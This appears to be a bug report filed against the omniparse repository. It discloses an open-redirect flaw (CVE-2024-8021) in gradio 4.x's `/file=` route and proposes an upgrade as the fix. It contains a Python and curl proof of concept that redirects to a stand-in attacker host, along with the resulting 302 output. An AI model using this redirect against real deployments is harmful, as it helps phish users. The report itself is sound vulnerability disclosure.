adithya-s-k / adithya-s-k/omniparse
Open redirect via `/file=<URL>` on pinned gradio 4.x (CVE-2024-8021)
- Lenguaje dominante
- Python
- Estrellas
- 7.9k
- Forks
- 676
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Descripción
## Describe the bug
omniparse mounts gradio routes via `server.py:38` (`gr.mount_gradio_app(app, demo_ui, path="")`). gradio's `/file=` route, on every version in the 4.x line including the deployed `gradio==4.44.1` (resolved from `pyproject.toml:48`'s `gradio = "^4.37.1"`), unconditionally 302-redirects when the path argument looks like an HTTP URL:
```python
# gradio/routes.py:431-438 in 4.44.1
@app.get("/file={path_or_url:path}", ...)
async def file(path_or_url: str, request: fastapi.Request):
if client_utils.is_http_url_like(path_or_url):
return RedirectResponse(url=path_or_url, status_code=status.HTTP_302_FOUND)
```
No allowlist, no destination validation. An attacker who can entice a user to click `https:///file=http://attacker.example/phishing-page` redirects the victim to the attacker URL while the address bar still shows the omniparse hostname (until the redirect lands).
Reference: **CVE-2024-8021 / CWE-601 URL Redirection to Untrusted Site**. Published 2025-03-20. CVSS 6.1 (medium per NVD).
The bug is not fixed in any 4.x gradio release. The /file= URL-redirect route was removed entirely in gradio 5.x (the 6.x line returns 404 for `/file=` requests).
CWE-601 (URL Redirection to Untrusted Site).
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N (4.3, medium). Lower than NVD's 6.1 because the impact is limited to phishing assistance rather than data exfiltration. Maintainer may refine.
## To Reproduce
Tested on HEAD `9d1ae83` with `uv pip install "gradio>=4.37.1,<5.0.0"` resolving to `gradio==4.44.1`.
1. Stand up the omniparse server (or any minimal gradio 4.x app — the bug is in the gradio framework, not in omniparse's own code):
```python
import gradio as gr
iface = gr.Interface(fn=lambda x: x, inputs="text", outputs="text")
iface.launch(server_name="127.0.0.1", server_port=7885, share=False)
```
2. Issue the open-redirect request:
```python
import urllib.request
class NoRedirect(urllib.request.HTTPRedirectHandler):
def http_error_302(self, req, fp, code, msg, headers): return None
http_error_301 = http_error_303 = http_error_307 = http_error_302
opener = urllib.request.build_opener(NoRedirect)
try:
opener.open("http://127.0.0.1:7885/file=http://evil.example.com", timeout=5)
except urllib.error.HTTPError as e:
print(f"HTTP {e.code} {e.reason}, Location: {e.headers.get('Location')!r}")
```
Output:
```
HTTP 302 Found, Location: 'http://evil.example.com'
```
The `Location` header reflects the attacker-supplied URL verbatim. A browser following this 302 lands on `http://evil.example.com`.
3. Curl equivalent for manual verification:
```bash
curl -i 'http://127.0.0.1:7885/file=http://evil.example.com'
```
Returns:
```
HTTP/1.1 302 Found
location: http://evil.example.com
content-length: 0
```
## Expected behavior
The `/file=` route should either reject requests where the path argument is an HTTP URL, or validate the redirect destination against an allowlist of trusted hosts. Latest gradio (`5.x` / `6.x`) removed the URL-redirect branch entirely; the same request returns `HTTP 404`.
## Suggested fix
Bump `pyproject.toml:48` from:
```
gradio = "^4.37.1"
```
to:
```
gradio = "^5.0.0"
```
or to the current 6.x line.
**Caveat**: gradio 5.x removed the `/file=URL` route and restructured the static-file serving API. If any of omniparse's own code (or downstream tooling embedded in the README markdown via `/file=`) relies on the 4.x file-serving semantics, the upgrade will require a small migration. The 5.x migration guide is at https://www.gradio.app/guides/upgrading-to-gradio-5.
If a same-major (4.x) workaround is needed temporarily, a reverse proxy in front of omniparse can drop requests matching `^/file=https?://`. This is a stopgap, not a fix.
## Additional context
- omniparse pins `gradio = "^4.37.1"` (`pyproject.toml:48`). `uv pip install` resolves to `4.44.1` today; the bug fires on this and on every 4.x release.
- I tested empirically on GPU03: PoC fires on gradio 4.44.1 with the expected `Location` header echo; PoC returns 404 on gradio 6.14.0 (latest).
- The audit pass that produced the original lib2app draft cited 3 additional CVEs in this cluster (CVE-2024-4941 LFI, CVE-2024-0964 LFI, CVE-2024-1727 CORS) plus a non-existent `cat_proof` SSRF helper. All 3 CVEs are patched in gradio 4.31.4+ (my empirical Run on 4.44.1 returned `HTTP 500` for the literal CVE-2024-4941 PoC, confirming the `check_all_files_in_cache` fix is active). The `cat_proof` claim was a draft error; no such helper exists in omniparse. This filing covers only CVE-2024-8021 because it is the only one that empirically fires on the deployed pin.
- No prior issue in this repository covers CVE-2024-8021 (issue #113 covers a different gradio CVE about multipart parser DoS).
Guía de contribución
Evaluación
Este issue todavía no se ha evaluado.